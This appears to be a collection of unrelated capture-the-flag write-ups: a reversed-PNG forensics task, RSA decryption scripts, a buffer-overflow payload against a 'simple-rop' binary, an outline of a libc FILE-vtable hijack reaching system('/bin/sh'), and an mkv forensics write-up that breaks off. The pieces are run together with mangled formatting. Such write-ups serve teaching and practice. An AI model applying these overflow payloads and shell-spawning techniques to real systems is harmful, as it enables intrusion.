4C 64 8C 0F 10 84 21 31 92 30 3C 42 10 84 C6 48 B0 F1 08 42 10 9F F7 79 E9 AE 92 4F 73 72 54 92 B7 25 75 4F CE 67 AB BA 4A A9 2B 73 F9 3B BE 74 F7 D7 CE 12 02 3E C6 3C 90 11 F7 22 44 89 12 24 4A DC 48 90 E0 91 2B 95 C8 C0 3C 11 2B 91 22 44 8E 57 C5 14 35 24 9A AF 9D ED 5E 78 54 41 44 49 26 11 00 00 64 A8 6F C7 01 C3 0E 00 00 C3 0E 00 00 73 59 48 70 09 00 00 00 05 61 FC 0B 8F B1 00 00 41 4D 41 67 04 00 00 00 E9 1C CE AE 00 42 47 52 73 01 00 00 00 EE 8D 44 7A 00 00 00 02 08 50 00 00 00 42 02 00 00 52 44 48 49 0D 00 00 00 0A 1A 0A 0D 47 4E 50 89```
We realize that file 'elif' is reversed but the command 'tac' no match !!!!!!
I am used the site Dcode to http://www.dcode.fr/ecriture-sens-inverse with 'Inverser l'ordre des mots'
```89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 02 42 00 00 00 50 08 02 00 00 00 7A 44 8D EE 00 00 00 01 73 52 47 42 00 AE CE 1C E9 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05 00 00 00 09 70 48 59 73 00 00 0E C3 00 00 0E C3 01 C7 6F A8 64 00 00 11 26 49 44 41 54 78 5E ED 9D AF 9A 24 35 14 C5 57 8E 44 22 91 2B 11 3C C0 C8 95 2B 91 E0 90 48 DC 4A 24 12 89 44 22 F7 11 90 3C C6 3E 02 12 CE D7 F7 74 BE 3B F9 73 2B A9 4A BA AB 67 CE 4F 75 25 B7 92 54 72 73 4F 92 AE E9 79 F7 9F 10 42 08 F1 B0 48 C6 84 10 42 3C 30 92 31 21 84 10 0F 8C 64 4C 08 21 C4 03 23 19 13 42 08 F1 C0 48 C6 84 10 42 3C 30 92 31 21 84 10 0F 8C 64 4C 08 21 C4 03 23 19 13 42 08 F1 C0 48 C6 84 10 42 3C 30 92 31 21 84 10 0F 8C 64 4C 08 21 C4 03 23 19 13 42 9C 82 3F FE F8 E3 9B 6F BE 79 E7 C0 25 12 99 2D 44 03 C9 98 10 E2 CE 94 02 96 78 7A 7A A2 91 10 0D 24 63 42 88 BB F1 F9 F3 E7 96 80 19 3F FD F4 13 4D 85 68 20 19 13 E2 4D 53 15 92 9B 9D E6 7D FD F5 D7 AC F2 C2 F7 DF 7F FF EF BF FF 32 4F 88 3E 24 63 E2 BC FC FE FB EF CF CF CF BF FE FA 2B AF 5F 23 9B DB 91 04 CC D0 21 BC 6D 1E AD DA 9F 9E 9E 56 2B 19 1E 87 95 49 C0 C4 01 24 63 E2 A4 A4 18 B7 FA DB 91 52 48 16 09 46 95 4E 0D 4B 4C 6F 1B 56 09 2C BA 60 69 CF A3 DB BF FA EA 2B AB 08 1A C6 54 21 C6 91 8C 89 93 E2 8F 9B 98 B4 86 58 48 90 BB 74 53 12 A8 48 C0 D2 56 F9 26 AD AB C5 8F AF F6 61 E2 08 D3 02 44 B6 A4 5D 3D F9 C5 EB C6 1F 37 01 A6 AE E1 C7 1F 7F 64 35 E3 DC CC CF 11 E8 7F F8 E1 07 D6 7A 61 E9 56 09 85 AF AE C5 CA 07 7A 89 43 1C 64 5A 80 C8 BE AA 05 AB CF 82 C4 14 B0 FE 78 7E 7E 3E DB 9A 23 73 27 A6 AE C1 EA 4A EE 5A 0A 46 CC 2D FD 3C 6B 1B 53 17 70 83 5A 58 FA E2 C1 15 6F 81 69 3E 94 96 6F 1E E6 9D 0C 84 EC 13 06 EE D5 B4 9E 3A 0B E2 27 C1 FC 27 C1 D4 35 B0 8E 5A 2D 3D 27 7E 37 DE 4C 60 D9 C1 8A 97 75 8B FF D6 0A 30 75 36 2C FD AC 51 42 3C 10 D3 7C C8 26 BC 4D 69 F3 4E 60 59 A7 C2 BF 38 F0 76 4E E4 3F 7D FA D4 7A EA B4 FE C0 08 32 E9 04 58 93 12 4C 5D 03 EB 78 84 78 8A 55 C8 6A 81 C9 AA 58 27 D2 AC 40 32 26 0E B3 C4 87 E8 9E A7 74 D0 F7 EF DF 5B DB CE B6 FF 58 87 FF 9E A9 7C 25 EC E7 9F 7F B6 AC 53 75 88 35 29 C1 D4 05 F8 CE 61 D2 C9 80 AE F8 6F 9D 13 73 05 26 FB 6E DB 58 BA D1 64 1D C7 BA BD DA EC 04 B2 46 DF EA 6C 1D 5A 88 33 F3 E6 64 0C 33 D3 DA B6 74 8A 9E 8A F4 3D D3 87 0F 1F CA 0D 28 52 2C 17 30 E9 DE 64 EF 77 00 66 2C 20 75 CE 09 DF F9 6E 09 18 98 AE 61 7E 07 66 AC 9E 20 AC E6 D8 E0 66 DF A1 06 A0 27 37 C5 E9 6D 1E D5 BC 02 DE 9C 8C BD 41 38 18 ED D7 9A 99 7D 9A F1 2A 63 13 33 66 E3 F5 F2 3C 61 EB CF 3F FF 0C 76 18 D3 FF 4C B8 D4 B0 DB FC 25 32 2B 3B 36 B8 2C A2 0F 88 53 AC 64 67 5E D3 88 00 C9 D8 2B A7 E7 D0 EC 6C 5F 8F 59 63 3C CC 98 CD 39 C3 56 A9 61 4B 75 C5 57 07 4F 18 3D 85 DB CD 71 AF 8B 7D 1B 3D 56 BE 71 8A 4A 99 5D 83 46 FA 3B B6 47 63 7E 80 C0 E2 8E BE 20 19 3B 01 3D 91 FA 6C 5F 8F 59 63 3C CC 98 0D 4B 3F 59 D8 4A C3 61 FC F6 DB 6F CC 68 80 19 77 E4 EB 9C F2 6D 4C 08 DB 0D C4 CC 7B DD BE EA FA 57 21 E9 19 E3 93 52 B3 01 BC 16 0F C2 FC 01 F3 27 42 4C 12 77 C2 2F 57 83 48 8D 2C 1A 9D 60 C8 7C 9B 13 CC 9B 4A BC 96 BF 23 D5 6D 44 F0 D5 8E CD 38 88 C1 6E 25 AB D6 F8 E9 D3 27 66 AF 01 95 A6 0D 99 31 24 9F 9D BE 3D 04 8B 53 E0 7A 34 26 0F 98 DF 8A BD 8E 77 28 10 1A CA 43 9E 20 A6 9C 8A FE E5 AA 99 01 5E DF 0F DF 66 FB 00 98 37 95 54 11 B6 32 4C 3A 13 E5 26 A9 B5 57 4E 62 D0 32 E8 A4 14 B3 EA 71 1F E6 38 FC 7F CA 14 28 9F D1 83 2A 02 55 EB F7 ED 7E AC 40 C0 6B F1 20 4C 1E B0 E4 5B 80 49 6B B0 B9 C4 9A D6 E8 4A 56 45 46 2B 64 1C 3C E1 99 0B DB DA B1 5C A5 DD 09 26 30 DB 71 69 33 3F AD 69 55 B6 15 00 71 DC 8C 59 31 EE A5 AE 30 E3 25 5E 0C 98 54 A3 53 7E 50 E9 87 0F 1F AC 34 74 51 69 8C 12 52 2E 93 2E C0 32 65 79 E2 1A CB 67 CC A8 4A 29 60 F6 D4 03 61 96 78 82 59 20 86 98 3C 60 F4 82 91 AD D8 A8 20 B5 66 CB C1 A5 68 89 97 E4 92 D6 03 DA 5D D3 1B B3 03 74 AC 35 15 30 A9 0D ED 4E 30 81 D9 8E 4B 4B F8 69 AB 55 99 0B 65 B4 3C EA C8 56 A0 A4 1C F7 B2 55 AD 96 6C C2 FB DB FD C0 EC B0 A3 92 3F 6F 3A 27 84 01 36 2D 63 DF 6F 71 CF 27 7A A6 43 4B CF 5A F7 32 7B AA C7 B2 C4 A9 65 DE 1E 0C CA 49 56 D2 65 AC DE 3D 05 62 26 0F 18 1B 3B E2 07 A5 5A B4 1C 37 9E 33 43 67 98 3D 23 CD 72 2F A7 16 FD 2B 3E DE 73 82 99 E0 3B 96 49 6D 68 77 82 66 B3 1D 97 96 F0 53 D8 2A 0C 65 F9 37 4F 19 F0 A8 EA 58 C7 4A 06 E0 6F 9D 62 C6 1B AE 4D 6D B5 AA D5 92 18 DE DC EE 07 14 6B 06 AD BD 0B 30 03 D0 33 53 7C CF 30 C9 C1 8C 77 EF CA C9 5B 65 68 6E 96 B1 8F 19 2F 61 5E E8 1B A3 B0 C4 A9 65 DE 98 E4 78 AD 28 1A 63 9D 0F 76 78 69 46 FA E5 A0 8C 7D 0D 8B 99 3C 60 6C E9 85 9E BE 40 A7 D3 DA 11 6F 74 3C 43 D3 C3 63 45 C5 1D 6A 55 00 5E F7 C1 7B 26 CD 84 72 4A 7B E2 1E 4E A1 6D 0A 53 3C BB 07 D6 77 E9 40 7E 6A 77 66 8F 86 19 E8 8D B8 FD C1 E9 56 A0 0D 09 9A 5E 9B 1A C4 F7 1D D3 98 77 B6 FB A1 E7 5D 53 33 00 BC DE 82 D6 35 7B 66 14 0C 2D F8 3C 81 9F B7 E6 38 B3 BB 1F A7 07 96 38 B5 CC 5B 92 4D 07 A6 76 50 F6 FF 0E 2F F5 B4 34 CC E8 99 50 43 4C 1E B0 32 74 C6 E1 6F DF 8E 61 F7 6C 49 B0 A0 B0 52 5A 0C FA 74 EA 81 E3 43 15 BB 42 A2 D5 C3 D9 7B DB C7 39 E8 D9 3D F8 D7 CF 70 C9 4F ED 21 F0 FE 53 8D 77 7E 57 D1 DF FE 4C D2 70 63 2C 81 80 A6 97 A6 FA 81 4B AD 4A 2D D9 B1 F6 B2 1B 01 AF 0B D0 60 5A 34 6C B2 8E DD C4 AF 2F 99 E4 60 C6 95 23 2F 59 A0 A2 96 80 81 A0 AF 68 D1 F7 38 89 40 2F 77 13 87 B8 00 3C FB F3 F3 F3 E6 76 DF CC 36 AB C8 34 AC DF CD AA 71 E6 FD FB F7 FB 4E 26 B3 01 F5 BF 1C E4 17 5B FB 7A AC C5 98 13 6C E2 A3 46 22 08 1F B4 E8 EB 74 9A 0E 3A 6E 15 16 14 16 85 66 9B 0D 46 A5 FF 6B 92 78 5D EC 67 51 5C 6C A7 86 19 55 B7 C8 62 F1 71 76 C4 DF 51 92 2C 59 64 B4 CF C0 72 33 30 61 98 1D B6 CD FB 24 93 FA 40 07 26 1F 08 7C D8 30 33 E0 05 E3 48 7C 4F 74 2A 50 6A 2A 3C 87 49 8E AC 63 63 B2 80 C8 54 07 33 AE A4 38 B5 03 1F F2 12 88 A1 9B 65 D2 74 64 4C 7D 4F CE 65 D3 3D AA A4 67 AF 0E 59 C2 C6 2E AE 62 A2 86 D9 26 21 55 3A A4 37 59 33 B2 5F BF 1B 9A 50 43 8C 4D EC 7E D2 CB 4E 06 53 0B D2 53 F5 EC 5D CC 12 F0 FA 00 2C 28 2C AA DC CD F4 E8 19 86 8A D6 45 E1 55 65 AA 3E B8 9F 6F D5 1F 42 04 D9 8A E1 A0 5B B0 94 19 7D 7B 04 36 E2 1A 19 79 D1 68 95 DF 8A 31 A9 01 8D C6 9F CE 77 72 3C 9F 69 E4 BE 2E 6A 0D DC 28 9D 0A E4 DD 35 73 2A EF 78 71 93 B2 A5 34 A8 06 44 E6 5D 38 28 D5 99 1B 7B D0 92 A0 CF 69 34 32 A6 55 C9 9C 42 B5 97 D2 9A B5 F5 20 7E C8 02 25 A3 45 FB 49 A7 68 98 77 57 1F 7F 86 02 8B 9F 92 26 87 CC B8 E2 87 9B 49 33 98 59 96 51 CE 04 C0 BC 82 78 EF 92 61 96 80 D7 07 60 41 61 51 18 83 EA 6E 26 9E 5D 80 76 2F 0B 6F AD 04 CB 07 F7 4E B9 19 0A 67 B9 05 8B 98 D1 B7 3D A4 19 DE C2 CC 78 D1 68 15 F3 B6 82 88 87 79 23 A4 95 56 EC A2 66 E3 89 07 AE 13 EF 36 71 81 C8 4D 6B 47 DF 54 5F 42 4B 72 AA 73 16 B4 02 22 B3 2F 1C 7F 4C 94 D0 3A 36 C0 83 94 6D C3 A5 7F 28 96 D2 81 45 ED 8F 1F 3F B6 DA 6C 05 02 5E EF A2 DA 99 55 E7 F1 43 06 FE F9 E7 1F 66 BC 84 D9 ED 56 79 F1 38 AE 61 C0 17 08 98 BA 85 1F 94 56 33 F6 0D DC 26 33 CB 32 B2 2E 00 41 CF A2 EF 68 D4 F1 54 B4 9B F1 FC 2C A8 A3 A8 D6 1C B3 B9 44 A3 97 D0 C2 15 5E 2A 93 7F F0 4C 14 7D 07 C2 8C A9 6D 68 7A AC 5B 58 C4 8C BE DD C4 CF 9F 16 66 C9 8B 46 AB 98 77 19 0B 7E 0A D9 B7 6F E8 5C 28 D0 E2 CA C1 3D 8A E1 DD A6 A7 40 78 4B 12 DD 14 13 93 3B 55 97 44 2D 01 03 C1 B4 A5 C5 05 26 4D 02 2D CC A6 5B E7 E0 1A C1 AC 34 BE 7C F9 C2 4F 35 58 CA B1 87 2A 03 20 68 75 26 9E F7 F9 F9 D9 6C A0 AF 4C 75 A0 C1 96 0B 98 54 C0 EC 11 0D F3 72 52 3A 06 33 AE 30 75 8B F4 E0 81 AF F6 D8 EC 60 B2 17 02 6B 25 40 43 CB 69 53 42 EB AD 43 1B 40 BB 0E CB 4D 58 D0 88 BF 96 13 0C 60 DA 94 8D 61 9E 2B BC AA 4C 29 E2 64 2B 35 4B 04 B8 0B E5 C7 33 13 61 88 D6 07 E6 DE A2 25 52 15 5F 57 80 19 F3 A2 D1 2A E6 F5 D1 E9 8D 25 9D 3D 4C 8B 0B 55 C1 18 C5 6B 18 E8 2C 10 8F 69 F6 16 13 FD 8A A1 5A 02 BC 8B D9 8E CD 68 48 BB D9 C1 C8 C3 0A 2E 07 A4 FC 34 02 9E 6B 47 94 E0 CD 7B 67 41 B9 26 E8 F1 3A 2C 38 68 5D AB 37 9D 57 7D FB ED B7 4C 2A 30 03 C0 EB 0E 52 44 AA FA AA 65 25 98 DA A6 B5 18 42 22 DA 9F 96 0E 7E 2A 1D 9F 20 9E 9D 03 16 C0 66 76 F7 A9 8F E6 B1 E7 B5 E2 FE 0E AC 1C C0 EB 6E CA 49 55 36 26 B5 13 C6 B8 F4 A1 C4 07 88 D6 32 9F 49 E3 F0 FE 71 16 2D 91 AA 04 F3 A7 6C 86 5D 02 BB CC 60 5E 9B 9E 20 12 03 87 F4 5A C2 D4 1A B4 B8 30 5A 69 2B 0A 24 FA 57 D9 3E 26 7A C7 6B 8D AC 77 C2 FE 5A 78 C3 EC 60 E4 61 05 45 9F A3 C6 D6 09 64 C6 8E 28 C1 3B F7 4E A5 E4 C0 60 68 2A A5 88 81 21 63 D2 05 08 40 CA FA EB AF BF 98 5A 90 6C 3A C5 3B 96 93 72 A1 B9 59 66 EC BD 55 78 E7 24 26 17 07 D8 CC EE 86 FA 89 84 F1 08 76 1E DE D2 14 62 37 2C 65 EF C6 2E 9B 4B 4C BD E2 BF F0 F3 3E 51 7A 36 33 5E 96 C0 A4 41 FA 63 50 09 8B 58 19 95 0C DF 1B 65 5D CC 70 59 BC 6E F8 12 F3 66 4F 09 B8 44 75 5A C6 3D 4C A3 0B 4C EA 66 96 86 19 BC CD 31 65 77 E8 49 71 93 D7 B3 F1 71 96 49 05 CC 76 06 D9 AC DC 31 23 78 E7 AE E7 F2 6D 1E 5D 3F F9 77 3D 7C 64 EB D9 8A 01 7F 7B 1C 42 0D 2F B7 4C 72 F8 5C 03 65 32 AF 41 E7 C2 22 71 24 58 55 99 EF 88 6C E9 88 2B 78 7D 02 98 D5 AD 91 F0 0A B1 4F 81 8C 34 0F 37 47 28 C0 4A 00 BC BE 02 0F 66 C6 D6 7B 6B 96 05 78 7D 21 B5 0D 7C FC F8 B1 C7 45 0E BA 05 4B D9 35 7B 87 28 F7 5B 09 AF 70 4C DA 6A 18 F3 66 1C 32 83 78 4B 14 F7 B0 6F FC 8E B1 C8 FC DF B3 A3 34 EF 3F 60 BA 86 01 6B F0 F4 60 94 88 E3 AC C1 EC A9 4E CB 12 77 95 D9 D3 E6 16 18 20 0C 93 DD EB 23 52 2A 33 D8 8A 01 DC 9E 45 89 6C 57 97 41 A3 C6 08 32 EF E5 6E 9E 79 0D 5A CF 8E 66 43 80 99 71 65 85 DB CC 74 02 83 8D 1D 1C CB EA 4C 46 58 C9 22 14 06 6C 8A 02 F9 EA 98 D4 47 35 D8 31 CF C1 0C 47 35 94 A4 67 41 7B 98 74 A0 6D BB 61 65 EB AB 63 35 B5 DE A8 2A 9C A5 00 5E BF 64 8A 27 18 18 56 7F 78 E8 E9 59 59 1F 09 61 D3 F1 FE B3 42 C3 56 D3 3A 84 F7 54 17 3D C7 61 89 E3 65 FA AD D8 BE 30 ED 23 5B 7A 3D C7 2E 81 5D C6 64 21 34 D8 0C D0 A2 51 2C F3 2E B9 FC B4 D5 00 1A AD 5C D9 C4 0C 0F D8 26 7C A0 F1 35 32 06 B2 DC 79 60 68 B3 72 CA D1 DA B7 18 4F 4E C3 EB 36 F1 3A BD DC 58 00 E6 5D 69 9D 09 F8 CD 25 93 2E A4 B6 C5 AB AA 59 58 5D 80 D7 CB 60 35 B5 8A 98 F1 52 E1 98 D4 68 98 F7 84 83 1B B2 6C 7C 47 0F 85 D2 78 DD 6B 1A 67 98 5F 05 6F 96 9F 16 AF 4F D5 99 65 54 17 3D C7 B1 32 01 AF BB 99 B2 8E C1 B3 58 09 F6 7A CE 0E A9 C6 70 A7 5D 9D 51 0D 8F CC AB 15 9B 55 CA 4F 5B 0D A0 D1 81 67 3F C8 FC 8A D3 94 CE 42 73 27 A5 98 95 E5 F8 B3 E0 80 58 E1 2C 08 F6 C4 1D EF A3 19 AD 78 C7 EC 2B AD 33 01 DC 4B 8B 97 1E E0 1F 70 B7 4E F7 C3 9A D6 7B 21 AB 29 2A 6A CD 58 26 B5 1B E6 9D CD F7 12 3E 97 2B 8F A0 27 93 22 EE D3 A1 7E 5F 12 31 69 AE C5 FB 48 B3 01 81 CD 0E 58 E8 F8 44 E0 6D C7 7C 20 7B 3D 67 9F 54 57 E3 27 FC 93 D9 17 98 71 F9 C5 19 26 5D C9 2A B5 CF 20 0E 41 34 5A 1F 40 5A CC AF D8 AF 91 B3 EE 2B 89 37 3A 09 5A 5F 29 87 AA C5 3E 29 CD 48 B1 32 B1 E9 AC B4 BB 80 09 C9 D4 1A 34 7A F9 8C 78 C0 9E 55 95 05 EB 6A D6 10 AC 63 BD 17 B2 9A 97 B3 C2 1F E8 65 33 D6 12 01 AF 0B BC B3 F5 30 C5 1F C4 22 FC D1 5C AC 4F 34 9A ED B1 2C 74 BC 58 DE 76 B8 3D 65 58 C3 EC DE 21 D5 65 84 64 C6 05 1F D0 50 7E 12 B3 B2 FF 93 65 3C 71 CC 06 F0 FA E6 2C A9 B8 FF 45 0C 74 A2 59 06 04 9A B1 19 C5 A6 2C 90 AD 96 A1 A2 AC 76 63 DF 84 2C 1D 31 E0 60 74 66 29 EB BD D0 CF 9F 2A 59 5F 31 35 6C D8 90 92 4D F1 07 B1 88 FE A3 39 1A CD F6 58 16 3A 5E 2C 6F 3B DC 1E F8 7F B6 7E FD E5 97 5F 98 37 82 2D 70 59 44 F1 87 D5 3D 53 A6 B4 B4 94 2A B4 98 3D 1C FD 2C A9 18 83 D1 29 E3 71 87 B6 8E EC CE 0F 1F E0 02 93 1A D0 A8 61 D6 19 A3 0F 46 67 96 B2 DE 0B E3 C7 29 9F 82 19 5B 0D AB 16 FB B8 CE F3 66 E1 C8 75 F8 33 ED 66 7B 2C 0B 1D 2F 96 B7 75 7F 47 6B 32 03 4A 7B 38 ED 77 DF 7D C7 E2 DE BD FB FB EF BF 99 D1 41 A6 5E 46 F5 78 16 29 C1 2A D9 F7 7F 8A E4 98 65 4C 2A 30 03 C0 EB 9B B3 AA 62 1F 59 3A 87 F6 35 C1 27 EF 38 D7 4E 5E C2 EB 1A 41 F4 9F 12 AC 59 D6 4D BC B0 F5 2C D5 C8 D5 D3 39 E2 D5 60 63 0D 78 DD 86 76 B3 1D 83 85 8E 17 EB 57 ED 41 B8 2B 65 06 F6 CC 73 F8 2F 08 99 B4 45 55 C0 40 1C 1F AA 62 96 CD C4 D6 6B 68 9E F4 F8 81 D4 2D 65 61 80 F0 43 CB A4 37 43 7A F6 4D 8D B1 B0 BE B9 FC 5C 47 FC 42 54 FC E5 25 B2 CA 6F 89 27 72 F7 CE 11 B7 C4 9C 0A F0 BA 0D ED 4E 23 63 C1 42 33 A6 EA DB CC DB 8A 1E F1 DC 9C 75 1A 81 42 58 62 BB 5B FA BF 45 5A C4 64 3F F0 F8 A1 65 D2 9B E1 81 E2 6F FC 42 94 FF BA E2 08 98 6F 6F 70 53 2E 86 A0 AF 3C A0 8C 81 51 25 6B C9 4C CF 6F 01 1B 3B B6 5F FB 48 8B 72 5E 17 A0 46 BF 69 B9 FD 4C 9F EC 07 19 F6 60 80 D7 E2 7C C4 1B C7 94 7B 1C 14 C5 42 85 A8 41 47 E9 08 17 C9 2D 79 3D 09 2B 13 F0 7A 90 1E 25 DB 94 99 B4 B3 89 7F 80 0A 64 D5 AD 10 30 A3 67 51 5E 3E FB 2D 57 AE 92 B1 B7 4E EC A3 41 2E E6 4C FF BB 94 E0 21 F6 A6 E2 8E D0 51 3A C2 45 4F 60 DD C1 22 75 EC A7 F3 B7 80 CF 49 A9 64 2D A6 2B DC 92 01 2B 0F 6D 99 21 84 10 0D 18 2C EE 17 2E 16 A9 63 3F FD 5B B1 73 D2 AF 64 73 CF 66 E6 7B 0C 34 AC FC 79 3A E6 09 21 44 03 06 8B 37 F9 6E B3 91 BE 8A 7E B8 AD 58 C6 A6 9E CD 5D 2B CC 17 98 F2 8B 47 9D 26 09 21 36 49 E7 69 06 22 C9 D2 F7 60 CF 46 FF CB 1D 22 63 7E 7F 25 1D 96 7A 09 21 FA A9 2E E1 DF 8E 98 21 60 DA 23 3F E8 89 E2 1D 91 EC 0B 21 CE 42 EB 30 0A E9 B4 78 A5 F8 3F DF 7C F4 13 C5 DB 23 19 13 42 9C 8E EC 3D D8 A7 A7 A7 45 6F 93 9F 84 1D BF DC 21 12 92 31 21 C4 49 81 74 7D 7F F9 2F 5C 90 34 26 BD 52 4C C3 C0 EB 56 EB 45 48 C6 84 10 A7 E6 CB 97 2F FC F4 4A 89 7F 10 4E 6C A2 5E 13 42 88 7B 12 FF 20 9C D8 44 32 26 84 10 77 C3 BF 67 AF 13 C5 7D 48 C6 84 10 E2 6E 3C FA 2F 77 9C 01 C9 98 10 42 DC 8D 57 F3 CB 1D 77 44 32 26 84 10 F7 41 2F 77 4C 41 7D 27 84 10 F7 41 2F 77 4C 41 32 26 84 10 77 E0 F3 E7 CF A6 61 40 2F 77 1C 41 32 26 84 10 77 20 6D C5 00 93 C4 2E D4 7D 42 08 71 07 A8 60 FA 15 F5 C3 48 C6 84 10 E2 D6 E8 E5 8E 89 A8 07 85 10 E2 D6 E8 E5 8E 89 48 C6 84 10 E2 A6 E8 E5 8E B9 48 C6 84 10 E2 A6 E8 E5 8E B9 A8 13 85 10 E2 A6 3C 3D 3D 99 86 E9 E5 8E 29 48 C6 84 10 E2 A6 D8 3F B9 96 86 CD 42 32 26 84 10 E2 81 91 8C 09 21 84 78 60 24 63 42 08 21 1E 96 FF FE FB 1F 2E 17 B0 ED 3B 26 B4 B0 00 00 00 00 49 45 4E 44 AE 42 60 82```
Then, I am used the tool HxD for record my hex code in give elif->file.png because header than '89 50 4E 47 0D 0A 1A 0A'.
Finally, in reversed the png, we find the flag
easyctf{r3v3r5ed_4ensics} |
Challenge: RSA 3----------------------------------------Category: Cryptography ----------------------------------------135 points----------------------------------------
```Description:
Written by blockingtheskyWe came across another message that follows the same cryptographic schema as those other RSA messages. Take a look and see if you can crack it.
Hint: You might want to read up on how RSA works.
File = rsa3
{N : e : c}{0x27335d21ca51432fa000ddf9e81f630314a0ef2e35d81a839584c5a7356b94934630ebfc2ef9c55b111e8c373f2db66ca3be0c0818b1d4eda7d53c1bd0067f66a12897099b5e322d85a8da45b72b828813af23L : 0x10001 : 0x9b9c138e0d473b6e6cf44acfa3becb358b91d0ba9bfb37bf11effcebf9e0fe4a86439e8217819c273ea5c1c5acfd70147533aa550aa70f2e07cc98be1a1b0ea36c0738d1c994c50b1bd633e3873fc0cb377e7L}```
```python#!/usr/bin/env pythonimport libnum
n = int('0x27335d21ca51432fa000ddf9e81f630314a0ef2e35d81a839584c5a7356b94934630ebfc2ef9c55b111e8c373f2db66ca3be0c0818b1d4eda7d53c1bd0067f66a12897099b5e322d85a8da45b72b828813af23',16)e = int('0x10001',16)c = int('0x9b9c138e0d473b6e6cf44acfa3becb358b91d0ba9bfb37bf11effcebf9e0fe4a86439e8217819c273ea5c1c5acfd70147533aa550aa70f2e07cc98be1a1b0ea36c0738d1c994c50b1bd633e3873fc0cb377e7',16)
""" p and q find on FactorDB """p = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869q = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871
n=p*qphi=(p-1)*(q-1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, n))
#easyctf{tw0_v3ry_merrry_tw1n_pr1m35!!_417c0d}``` |
Challenge: Simple ROP ----------------------------------------Category: Binary Exploitation ----------------------------------------120 points ----------------------------------------
```Description:
Written by r3ndom
On the shell there is a folder /problems/simple-rop.Hint: Read flag.txt
Files = Source and Binary```
``` Csimple-rop.c
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <sys/types.h>
void print_flag();void what_did_you_say();
int main(int argc, char* argv[]){ gid_t gid = getegid(); setresgid(gid, gid, gid); what_did_you_say(); return 0;}
void print_flag(){ system("cat flag.txt");}
void what_did_you_say(){ char buff[64]; gets(buff); printf("You said: %s\n", buff);}```
```shellgdb-peda$ p print_flag$1 = {<text variable, no debug info>} 0x804851a <print_flag> ===> address of 'print_flag'
BUFFER = 64
TEST IN LOCAL:
python -c 'print "A"*64+"\x1a\x85\x04\x08"' | ./simple-rop ===> NO match !
python -c 'print "A"*68+"\x1a\x85\x04\x08"' | ./simple-rop ===> NO match !
python -c 'print "A"*72+"\x1a\x85\x04\x08"' | ./simple-rop ===> NO match !
python -c 'print "A"*76+"\x1a\x85\x04\x08"' | ./simple-rop ===> MATCH !```
|
Challenge: RSA 1 ----------------------------------------Category: Cryptography ----------------------------------------50 points ----------------------------------------
```Description:
Written by neptuniaI found somebody's notes on their private RSA! Help me crack this.
Hint: Go google RSA if you're stuck.
File = ciphertest1.txt
p: 33499881069427614105926941260008415630190853527846401734073924527104092366847259q: 34311544767652906613104559081988349779622789386528780506962212898921316785995851e: 65537c: 43465248299278658712013216049003172427898782261990372316282214376041873514481386908793943532363461126240609464283533882761307749486816342864113338277082746552```
```python#!/usr/bin/env pythonimport libnum
p = 33499881069427614105926941260008415630190853527846401734073924527104092366847259q = 34311544767652906613104559081988349779622789386528780506962212898921316785995851e = 65537c = 43465248299278658712013216049003172427898782261990372316282214376041873514481386908793943532363461126240609464283533882761307749486816342864113338277082746552
n=p*qphi=(p-1)*(q-1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, n))
#easyctf{wh3n_y0u_h4ve_p&q_RSA_iz_ez_7829d89f}``` |
# engineOnline
Author: meh@HITCON
### Description ```we decide to make our engineTest online at 202.120.7.199:24680 (with command "./engineTest none none none none")you can get the binary from the attachment of challenge engineTest
libc.so.6```I cannot understand what this program is doing until my teammates Lucas and Lays solved the reverse part ... and still don't understand it clearly now. Briefly, this program writes memory according to **ip** and print memory according to **op**, we didn't use cp so it is omitted. And I got the read/write functions from my teammate Lucas. :P
### Exploit This program allows us to write everywhere **below** input memory, so we make it big enough to be mapped above libc section. ``` +------------------+ | binary | |------------------| | // big gap // | |------------------| | input memory | |------------------| | libs | | & ld | | & gaps | | & tls | |------------------| | stack | |------------------| | | +------------------+```* Modify stderr with ip We modify the content of stderr and partial overwrite the vtable, make it points to a fake vtable with gets_plt, so that we can use the libc address to rewrite the stderr after we leak. * Leak with op After ip, we use op to leak libc address. * Exit and hijack control flow When exit, the _dl_fini will call _IO_flush_all_lockp, which will call functions of stderr which is changed to gets. * Rewrite stderr We can rewrite the stderr with address we leaked, make the function pointer points to system. * Get shell Finally, it will call system(stderr), and we make the stderr start with '/bin/sh', so it will become system('/bin/sh'). |
# OgrewatchForensics, 100 points
>My friend was out watching ogres when he heard a strange sound. Could you figure out what it means? ogreman
As part of this challenge we were given a video file. The file command on Linux identified the file as Matroska data file. Watching the video didn't reveal nothing. Neither did I find anything by listening the audio of the file with Audacity. Next step was to find new tools to study the file more thoroughly.
I used the following Mkvtoolsnix (https://mkvtoolnix.download/) command to find some more information about this file:> mkvinfo ogreman
From the output I could see that the file had three tracks: a video, an audio and a subs track.```|+ Segment tracks| + A track| + Track number: 1 (track ID for mkvmerge & mkvextract: 0)| + Track UID: 1| + Lacing flag: 0| + Language: und| + Codec ID: V_MPEG4/ISO/AVC| + Track type: video| + Default duration: 33.333ms (30.000 frames/fields per second for a video track)| + Video track| + Pixel width: 1156| + Pixel height: 720| + Display width: 1156| + Display height: 720| + Display unit: 3 (aspect ratio)| + CodecPrivate, length 44 (h.264 profile: Main @L4.0)| + A track| + Track number: 2 (track ID for mkvmerge & mkvextract: 1)| + Track UID: 2| + Lacing flag: 0| + Name: Stereo| + Language: und| + Codec ID: A_AAC| + Track type: audio| + Audio track| + Channels: 2| + Sampling frequency: 44100| + CodecPrivate, length 5| + A track| + Track number: 3 (track ID for mkvmerge & mkvextract: 2)| + Track UID: 3| + Lacing flag: 0| + Language: eng| + Default flag: 0| + Codec ID: S_TEXT/ASS| + Track type: subtitles| + CodecPrivate, length 481```
I wanted to extract those tracks to examine them closer. I used the following command to do that:
> mkvextract tracks ogreman 0:video 1:audio 2:subs
Out of these three files, the subs file was something new. Therefore, I looked into it first. The file included the following:
